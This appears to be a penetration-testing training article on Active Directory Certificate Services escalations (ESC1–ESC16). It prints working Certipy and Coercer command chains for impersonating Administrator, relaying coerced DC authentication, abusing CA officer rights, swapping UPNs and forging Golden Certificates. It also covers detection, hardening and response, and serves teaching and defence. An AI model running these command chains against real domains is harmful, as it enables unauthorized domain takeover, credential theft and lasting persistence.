Skip to content
Pwnversity
AD-ADCSexpert · 10 min · upd. 2026-11

AD CS (Active Directory Certificate Services)

T1649T1556T1550

AD CS is Microsoft’s PKI: it issues certificates used to authenticate in the domain (a valid certificate is exchanged for a TGT via PKINIT). The problem is that the authorization of who can request which certificate and with what identity is configured in templates and permissions that, by default or by neglect, tend to be lax. The “Certified Pre-Owned” research (SpecterOps) catalogued a family of escalations —ESC1 onward, today up to ESC16+— that turn an ordinary user into Domain Admin. It’s one of the most reliable and often quietest paths to DA: a certificate survives password changes, so it’s also persistence.

flowchart LR
    A["Domain user"] -->|"CSR with SAN = Administrator (ESC1)"| CA["AD CS"]
    CA -->|"issues the certificate"| A
    A -->|"PKINIT with the certificate"| DC[Domain Controller]
    DC -->|"TGT as Administrator"| A
  • Who attacks: any domain user who can enroll certificates in a misconfigured template, or who has management permissions over the CA or over a PKI object.
  • What it breaks: the authorization of issuance. If the attacker makes the CA issue a certificate where they appear as another user (e.g. Administrator), they authenticate as that user with PKINIT.
  • What it gains: the impersonated user’s TGT and NT hash (via UnPAC-the-hash). If it’s a DC or a Domain Admin, domain compromise.
  • Why it’s dangerous long-term: the certificate lasts for its validity period (months or years) and survives password resets. Revoking it requires rotating the CA key.

A template with an authentication EKU (Client Authentication, Smart Card Logon, PKINIT or Any Purpose) produces a certificate the KDC accepts for PKINIT. The identity the certificate claims goes in its SAN (Subject Alternative Name). If the requester can set any SAN, they claim to be Administrator.

To close this, Microsoft (KB5014754) added the SID extension to certificates and strong certificate mapping: the KDC binds the certificate to the object’s SID. Key dates:

  • Since February 2025, Full Enforcement is the default.
  • Since September 2025, the StrongCertificateBindingEnforcement registry value was retired: there’s no way back to compatibility mode.
  • A second track (KB5057784, CVE-2025-26647, NTAuth store enforcement) hardened in parallel (audit in April, enforcement by default in July, registry retired in October 2025).

This doesn’t kill AD CS as a vector: it changes which ESCs work. The ones that rely on a SAN without the SID extension (ESC9, ESC10, part of ESC6/ESC16) need the enforcement not to be at level 2, or are combined to force the SID fallback. ESC1, ESC2, ESC3, ESC4, ESC7, ESC8, ESC11 and ESC13 still work the same.

ESC Condition Impact
ESC1 Auth template with “enrollee supplies subject,” enrollable by normal users, no approval Arbitrary SAN → impersonate anyone
ESC2 Template with Any Purpose EKU or no EKU Wildcard / enrollment agent certificate
ESC3 Template with Certificate Request Agent EKU Enroll on behalf of another
ESC4 Write access over the template object Reconfigure it as ESC1
ESC5 Write access over domain PKI objects Control of the PKI
ESC6 CA with EDITF_ATTRIBUTESUBJECTALTNAME2 Arbitrary SAN on any template
ESC7 Manage CA / Manage Certificates permissions Issue denied requests, enable templates
ESC8 HTTP(S) web enrollment without EPA NTLM relay to the CA
ESC9 Template without the SID extension Impersonate by UPN (if enforcement ≠ 2)
ESC10 CertificateMappingMethods with UPN bit Weak Schannel mapping
ESC11 ICPR without forced encryption NTLM relay over RPC
ESC13 Issuance policy linked to a group (msDS-OIDToGroupLink) Effective group membership
ESC15 V1 template with “supply in request” (CVE-2024-49019) Arbitrary application policies
ESC16 CA with the SID extension disabled globally Like ESC9 at CA scale

Certipy finds CAs, templates and what’s exploitable from your principal:

Ventana de terminal
certipy find -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -stdout -vulnerable

Review the [!] Vulnerabilities block and fields like User Specified SAN : Enabled (ESC6) or Enrollee Supplies Subject (ESC1).

Ventana de terminal
certipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -target ca01.corp.local \
-ca 'CORP-CA' -template 'VulnTemplate' -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500'
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

certipy auth does PKINIT, gets the TGT and, via UnPAC-the-hash, the Administrator’s NT hash.

If web enrollment is on without EPA, you relay a coerced authentication (typically from a DC) to the CA to obtain its certificate:

Ventana de terminal
certipy relay -target 'http://ca01.corp.local' -template 'DomainController'
# in another terminal, coerce the DC (see NTLM relay)
coercer coerce -u jdoe -p 'Passw0rd!' -d corp.local -t dc01.corp.local -l 10.10.10.50
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10

See NTLM relay for the coercion part.

With management permissions over the CA, you add yourself as an officer, enable the SubCA template, force the issuance of a denied request and retrieve it:

Ventana de terminal
certipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -add-officer jdoe
certipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -enable-template SubCA
certipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -target ca01.corp.local \
-ca 'CORP-CA' -template SubCA -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500' # denied → creates request ID
certipy ca -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -issue-request 1
certipy req -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -ca 'CORP-CA' -retrieve 1

Where strong mapping isn’t at level 2, you change the UPN of an account you control to the victim’s, request the certificate and revert:

Ventana de terminal
certipy account -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -upn 'administrator' -user victim update
certipy req -k -dc-ip 10.10.10.10 -target ca01.corp.local -ca 'CORP-CA' -template VulnTemplate
certipy account -u 'jdoe@corp.local' -p 'Passw0rd!' -dc-ip 10.10.10.10 -upn 'victim@corp.local' -user victim update
certipy auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username administrator -domain corp.local

If you compromise the CA’s private key, you can forge certificates for any user indefinitely (persistence; see persistence):

Ventana de terminal
certipy ca -backup -ca 'CORP-CA' -u 'admin@corp.local' -p 'P4ss!' -dc-ip 10.10.10.10
certipy forge -ca-pfx CORP-CA.pfx -upn 'administrator@corp.local' -sid 'S-1-5-21-…-500'
  1. certipy find -vulnerable: which ESCs are exploitable from your principal.
  2. ESC1/ESC2/ESC3 if there’s a template with lax SAN or EKU.
  3. ESC7 if you have CA management; ESC8/ESC11 if there’s web/RPC enrollment without protection.
  4. ESC9/ESC10/ESC16 depending on the strong-mapping level.
  5. certipy auth → TGT and NT hash → chain to DCSync or lateral.
  • Certipy (ly4k): enumeration and exploitation of the whole ESC range.
  • Certify / Certify 2.0 (Windows): C# equivalent.
  • ntlmrelayx (--adcs): relay to AD CS (ESC8/ESC11).
  • BloodHound CE: flags some AD CS paths.

An authentication certificate for a DC or a Domain Admin is domain compromise: from there to DCSync (credential dumping). As a persistence vector, a Golden Certificate survives password and krbtgt rotation.

  • Anomalous certificate requests (events 4886/4887 on the CA): a SAN that doesn’t match the requester, authentication templates requested from odd sources.
  • Issuance of DC or privileged-account certificates out of the ordinary.
  • Certificate authentication (PKINIT) from accounts that never use smart cards/certs.
  • ESC8: DC coercion (RPC MS-EFSR/MS-RPRN) + connection to the web enrollment.
  • Request and issuance auditing on the CA (4886/4887/4898).
  • PKINIT KDC events on the DCs.
  • Monitor events 39, 40, 41 (KB5014754) and 45 (KB5057784) for residual weak mapping.
  • Remove “enrollee supplies subject” from authentication templates (kills ESC1).
  • Require manager approval on sensitive templates.
  • EPA on web enrollment and forced encryption on ICPR (closes ESC8/ESC11); better, disable web enrollment if unused.
  • Review Manage CA / Manage Certificates permissions (ESC7) and PKI object ACLs (ESC5).
  • Remove EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6).
  • Keep Full Enforcement of strong mapping (now the default) and watch the fallback.

On confirmed abuse: revoke the fraudulently issued certificates, fix the root template or permission, and if the CA key was compromised, rotate the CA key (a Golden Certificate can’t be closed any other way). Rotate the credentials of the impersonated accounts.

  • “Certified Pre-Owned” (SpecterOps, 2021): the work that catalogued ESC1–ESC8 and drove AD CS use as a path to DA.
  • CVE-2022-26923 / 26931 / 34691 (origin of KB5014754 and strong mapping).
  • CVE-2024-49019 (ESC15, “EKUwu”): V1 templates with “supply in request”; fixed November 2024.
  • CVE-2025-26647: NTAuth store hardening, enforcement by default in 2025.
  • certipy find -vulnerable run; vulnerabilities block reviewed.
  • ESC1 template (arbitrary SAN)?
  • Web/RPC enrollment without EPA/encryption (ESC8/ESC11)?
  • Manage CA permissions (ESC7) or template write (ESC4)?
  • Strong-mapping level that enables ESC9/ESC10/ESC16?
  • Certificate exchanged for TGT and NT hash?
  • Blue: request/issuance auditing on? Events 39/40/41/45 watched?